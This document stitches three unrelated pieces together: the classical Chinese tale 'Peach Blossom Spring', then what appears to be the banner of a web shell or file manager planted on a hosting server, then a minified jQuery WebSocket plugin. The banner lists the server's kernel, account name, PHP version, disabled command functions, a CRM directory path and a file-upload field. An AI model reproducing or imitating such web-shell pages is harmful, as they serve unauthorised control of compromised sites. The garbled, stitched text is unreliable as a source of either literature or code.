晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/layouts/v7/lib/jquery/websockets/ |
Upload File : |
(function($){
$.extend({WebSocket:function(url,protocol,options){
var defaults={url:url,http:null,enableProtocols:false,enablePipes:false,encoding:"utf-8",method:"post",delay:0,interval:3000};options=$.extend({},defaults,options);const WS_ID="WebSocketPipe";const CONNECTING=0;const OPEN=1;const CLOSING=2;const CLOSED=3;var _functionTable={onopen:function(){},onerror:function(e){},onclose:function(){},onmessage:function(e){},send:function(d){_ws._send(d);}};function _token(){return Math.random().toString(36).substr(2);}function _urlWsToHttp(url){var protocol=(url.attr("protocol")==="wss")?"https://":"http://";var host=url.attr("host");var port=((url.attr("protocol")=="wss"&&url.attr("port")!=443)||(url.attr("protocol")=="ws"&&url.attr("port")!=80)?":"+url.attr("port"):"");var path=((url.attr("path")!="/")?url.attr("path"):"");return protocol+host+port+path;}function _dispatchProtocol(e,direction,ws){for(var protocol in ws.protocols){e=ws.protocols[protocol].callback(e,direction);}return e;}function _dispatchPipe(id,e){for(var pipe in ws.pipes){if(pipe==id){var p=ws.pipes[pipe];if(p.onmessage!=undefined&&typeof(p.onmessage)=="function"){p.onmessage(e);}}}}function _proxy(trigger,e){return _functionTable[trigger](e);}function _injectHook(event,ws){if(event=="send"){ws._send=ws.send;}ws[event]=function(e){if(event=="onmessage"){e=_dispatchProtocol(e,"i",ws);for(pipe in ws.pipes){$(ws.pipes[pipe]).trigger(e);}}(event=="send")?e=_dispatchProtocol(e,"o",ws):null;_proxy(event,e);};window.WebSocket.prototype.__defineSetter__(event,function(v){_functionTable[event]=v;});window.WebSocket.prototype.__defineGetter__(event,function(){return _functionTable[event];});}function _protocol(name,callback){return{name:name,callback:callback};}function _pipe(url){return $.extend(_getWebSocketSkeleton(url,false),{packet:function(uid){return{type:WS_ID,action:"message",data:null,uid:uid};},startup:function(){var p=this.packet(this.uid,this.url);p.action="startup";p.data=this.url;_ws.send(JSON.stringify(p));},shutdown:function(){var p=this.packet(this.uid,this.url);p.action="shutdown";_ws.send(JSON.stringify(p));},send:function(data){var p=this.packet(this.uid,this.url);p.data=data;_ws.send(JSON.stringify(p));$(this).triggerHandler("send");},start:function(){this.startup();$(this).triggerHandler("open");},close:function(){this.shutdown();$(this).triggerHandler("close");}});}function _getWebSocketSkeleton(url,isNative){return{type:"WebSocket",uid:_token(),readyState:CONNECTING,bufferedAmount:0,url:url,send:function(data){},start:function(){},close:function(){},onopen:function(){},onerror:function(e){},onclose:function(){},onmessage:function(e){},protocols:{},pipes:{},registerPipe:function(url,protocol,options){var p=new _pipe(url);for(event in _functionTable){if(event!="send"){_injectHook(event,p);}}p=$.extend(p,options);p.start();return this.pipes[p.id]=p;},unregisterPipe:function(id){this.pipes[id]=null;},registerProtocol:function(name,callback){var p=new _protocol(name,callback);return this.protocols[name]=p;},unregisterProtocol:function(name){this.protocols[name]=null;},extension:null,protocol:null,reason:null,binaryType:null};}function _ErrorEvent(error){var e=jQuery.Event("error");e.data=data;return e;}function _MessageEvent(data){var e=jQuery.Event("message");e.data=data;return e;}function _WebSocket(url){var _interval,_handler,_emulation={send:function(data){var success=true;$.ajax({async:false,type:options.method,url:url+((options.method=="GET"&&options.arguments)?"?"+$.param(options.arguments):""),data:((options.method=="POST"&&options.arguments)?$.param($.extend(options.arguments,{data:data})):null),dataType:"text",contentType:"application/x-www-form-urlencoded; charset="+options.encoding,success:function(data){$(_emulation).trigger(new _MessageEvent(_dispatchProtocol(data,"i",_emulation)));},error:function(xhr,data,errorThrown){success=false;$(_emulation).trigger(_ErrorEvent(data));}});return success;},close:function(){clearTimeout(_handler);clearInterval(_interval);this.readyState=CLOSED;$(_emulation).triggerHandler("close");}};function _poll(){$.ajax({type:options.method,url:url+((options.method=="GET"&&options.arguments)?"?"+$.param(options.arguments):""),dataType:"text",data:((options.method=="POST"&&options.arguments)?$.param(options.arguments):null),success:function(data){$(_emulation).trigger(new _MessageEvent(data));},error:function(xhr,data,errorThrown){success=false;$(_emulation).trigger(_ErrorEvent(data));}});$(_emulation).triggerHandler("send");}_handler=setTimeout(function(){_emulation.readyState=OPEN;_poll();_interval=setInterval(_poll,options.interval);$(_emulation).triggerHandler("open");},options.delay);return _emulation;}function _extend(source,destination){for(property in source){if(!destination[property]){destination[property]=source[property];}}return destination;}function _getWebSocket(url){var ws,isNative=true;if(window.WebSocket){if(typeof(MozWebSocket)=="function"){ws=new MozWebSocket(url);}else{ws=new WebSocket(url);}}else{window.WebSocket=_WebSocket;url=options.http;isNative=false;ws=new WebSocket(url);}return _extend(_getWebSocketSkeleton(url,isNative),ws);}var _ws=_getWebSocket(options.url);for(event in _functionTable){_injectHook(event,_ws);}return _ws;}});
})
(jQuery);